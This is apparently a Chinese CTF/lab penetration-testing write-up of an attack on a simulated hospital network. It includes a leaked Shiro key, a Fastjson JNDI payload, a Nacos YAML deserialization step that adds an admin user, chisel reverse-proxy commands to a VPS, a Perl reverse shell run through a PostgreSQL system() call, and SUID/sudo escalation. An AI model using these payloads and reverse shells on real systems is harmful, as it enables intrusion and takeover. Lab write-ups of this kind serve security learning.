原文由作者授权发表,首发在:先知社区
https://xz.aliyun.com/t/13463
外网打点
信息搜集
Fscan扫描一下
发现jsessionid=xxx
,明显的Shiro特征,同时发现有acatuator
泄露。
漏洞探测
访问网站,弱口令直接登进行了,但是没啥东西
搞搞Shiro漏洞,尝试工具一把梭,寻找下密钥
没找到,呃,总不能是Shiro721吧,但确实此时登录过后,有对应的Cookie,满足爆破的条件了,抱着怀疑的态度进行了爆破。
然后同时想起之前的actuator
泄露,找了找RCE相关的,像env,refresh,gateway
这些接口都没有,然后就到了我们的信息泄露环节了。
之前实战渗透的时候通杀过heapdump
泄露,所以记忆犹新,这里用的是heapdump_tool.jar
工具
java -jar heapdump_tool.jar "heapdump"
搜了搜关键词passowrd
,shiro
,key
这些,没有数据库账密也没有泄露Key,任何发现都没有
想着会不会是工具的问题,于是换了一个工具,改用JdumpSpirder
,https://github.com/whwlsfb/JDumpSpider/releases
再次寻找成功发现ShiroKey
得到密钥GAYysgMQhG7/CziJlVpR2g==
漏洞利用
接下来使用工具指定密钥梭哈一下。
接下来尝试写入内存马
执行命令
有一些不方便,用冰蝎的反弹shell功能弹到vps上
提权
find / -user root -perm -4000 -print 2>/dev/null
发现vim
,直接猜测一手flag位置
vim /root/flag/flag01.txt
内网探测
上线VIPER
信息搜集
上传Fscan进行内网网段扫描
meterpreter > shell -c './fscan -h 172.30.12.5/24'
/ _ \ ___ ___ _ __ __ _ | | __
/ /// |/ | '/ ` |/ __| |/ /
/ /\____ \ (__| | | (| | (| <
_/ |/_|| _,|___||_\
fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.30.12.6 is alive
(icmp) Target 172.30.12.5 is alive
(icmp) Target 172.30.12.236 is alive
[] Icmp alive hosts len is: 3
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.6:8848 open
172.30.12.236:8009 open
[] alive ports len is: 9
start vulscan
[] NetBios 172.30.12.6 WORKGROUP\SERVER02
[] NetInfo
[]172.30.12.6
[->]Server02
[->]172.30.12.6
[] WebTitle http://172.30.12.5 code:302 len:0 title:None 跳转url: http://172.30.12.5/login;jsessionid=A60E466BB515111EA9813AD488333B5B
[*] WebTitle http://172.30.12.5/login;jsessionid=A60E466BB515111EA9813AD488333B5B code:200 len:2005 title:医疗管理后台
[*] WebTitle http://172.30.12.6 code:404 len:431 title:HTTP Status 404 – Not Found
[*] WebTitle http://172.30.12.236 code:200 len:3964 title:医院后台管理平台
[+] PocScan http://172.30.12.6 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] PocScan http://172.30.12.5 poc-yaml-spring-actuator-heapdump-file
代理搭建
VPS端
./chisel server -p 7000 -reverse
靶机
./chisel client 119.3.215.198:7000 R:0.0.0.0:7001:socks
攻击域用户一(nacos Yaml反序列化)
信息泄露
在Fscan扫描结果中发现
[+] PocScan http://172.30.12.6 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6 poc-yaml-alibaba-nacos-v1-auth-bypass
所以尝试一下用户登录绕过漏洞
成功获取账密,再尝试写入用户test
进行登录
成功登录
不过这些不足以实现RCE,后端也没什么东西,搜索相关漏洞发现两个,一个是内存马注入,一个是Yaml反序列化。
尝试内存马
尝试用工具写入内存马
没写进去,那八成是Yaml反序列化了。
尝试Yaml反序列化攻击
工具利用
https://github.com/artsploit/yaml-payload/
下载之后打成jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
在Nacos发现dataid
为db-config
写入到里面,然后Jar的路径的话,我们这里需要上传到靶机,因为这个靶机不出网,我们只能让他访问内网上的,所以我们需要先讲jar包放到靶机,然后再在靶机上开启http服务
这里成功收到回显,说明确实存在Yaml反序列化漏洞,但是我们需要改一下yaml-payload
中的Java文件
可以看到这里本来是弹计算器的,没啥作用,我们改为添加一个管理员用户的
然后改完后再保存再打为jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
同样再上传jar包到靶机再打一次
此时就可以RDP连接了
攻击域用户二(Fastjson)
信息搜集
Mimikatz抓下密码发现都是在工作组。
漏洞探测
我们在Fscan中还发现另一个存在Web服务的
[*] WebTitle http://172.30.12.236 code:200 len:3964 title:医院后台管理平台
访问
使用dirsearch扫一下目录,发现docs,examples
这些
访问docs
看一下Tomcat版本
这个版本的Tomcat存在着文件包含漏洞,如果有上传点就可以实现文件包含进而达到RCE目的(之前一个靶场的思路)。但这里题目描述中提到了fastjson
,我们抓一下它的包,内容只写一个{
,如果是Fastjson,不完整的时候就会出现Fastjson
出现了Fastjson
,说明确实是Fastjson
,接下来用dnslog探测一下是否存在漏洞
{"qwq":{"@type":"java.net.Inet4Address","val":"4mmi9n.dnslog.cn"}}
成功收到回显,说明存在Fastjson漏洞。
漏洞利用
接下来使用工具jndi_tool.jar
部署恶意类(在靶机上部署,因为域成员可能不出网),工具链接https://github.com/wyzxxz/jndi_tool
同时在靶机上监听12345端口,待会用于接收shell,然后按如下Payload发包
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.30.12.5/Object",
"autoCommit":true
}
}
成功收到shell,且是root权限
攻击域用户三(Grafana+psql)
信息搜集
ifconfig
发现多张网卡
上传Fscan扫一下
root@web03:/# ./fscan -h 172.30.54.179/24
/ _ \ ___ ___ _ __ __ _ | | __
/ /// |/ | '/ ` |/ __| |/ /
/ /\____ \ (__| | | (| | (| <
_/ |/_|| _,|___||_\
fscan version: 1.8.3
start infoscan
(icmp) Target 172.30.54.179 is alive
(icmp) Target 172.30.54.12 is alive
[] Icmp alive hosts len is: 2
172.30.54.179:8009 open
172.30.54.12:22 open
172.30.54.179:22 open
172.30.54.12:3000 open
172.30.54.12:5432 open
172.30.54.179:8080 open
[] alive ports len is: 6
start vulscan
[] WebTitle http://172.30.54.179 code:200 len:3964 title:医院后台管理平台
[] WebTitle http://172.30.54.12 code:302 len:29 title:None 跳转url: http://172.30.54.12/login
[*] WebTitle http://172.30.54.12/login code:200 len:27909 title:Grafana
发现另一个域用户,但是这个不同于之前的网段,因此我们需要搭建多层代理。
多层代理搭建
我们的第一层代理是VPS作为服务端,外网靶机作为客户端来搭建的,那么我们在搭建第二层的话,以外网靶机作为服务端,然后以域用户二作为客户端,此时就实现了多层代理
VPS->外网靶机->域用户2->域用户3
所以接下来直接在外网靶机上搭建服务端,指令如下
./chisel server -p 7001 --reverse
再在域用户二上搭建客户端
./chisel client 172.30.12.5:7001 R:0.0.0.0:7000:socks
此时就搭建好了
外网->119.3.215.198:7001(VPS)->172.30.12.5:7000(域用户二)->172.30.54.12(域用户三)
我们改下配置文件
接下来尝试curl用户三
成功,在Windows
用Proxifier
挂上代理链即可
尝试访问域用户三
漏洞探测
登录框肯定尝试弱口令,以admin,admin
成功登入
漏洞利用
搜索相关漏洞发现CVE-2021-43798
,使用工具直接提取敏感信息,工具链接https://github.com/A-D-Team/grafanaExp
./grafanaExp_linux_amd64 exp -u "xxx"
需要注意的是我这里是用域用户二执行的命令,用本机然后通过代理执行经常卡住。
获取到PostgreSQL账密
postgres:Postgres@123
通过Proxifier全局代理,使用Navicat
进行连接
数据库连接
查询数据库版本
select version();
得知数据库为8.1版本,接下来改下root
用户密码
搜索相关版本发现
所以我们这里调用相关命令
接下来借助命令执行实现反弹shell
反弹Shell
这里反弹到我们的域用户二上,因为他和域用户三是在同一网段下的,我们先监听下它的某个端口。
然后在Navicat上执行指令如下
select system('perl -e 'use Socket;i="172.30.54.179";p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(p,inet_aton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'');
成功反弹shell,通过python3 -c 'import pty;pty.spawn("/bin/bash")'
获取交互式shell
提权
但是目前只是普通权限,需要进行提权,通过执行sudo -l
发现psql
参考https://gtfobins.github.io/gtfobins/psql/
所以接下来登入psql
sudo /usr/local/postgresql/bin/psql
root=# ?
!/bin/bash
#需要输入的就是? 和!/bin/bash
而后即可获取root权限,在root/flag
目录下得到flag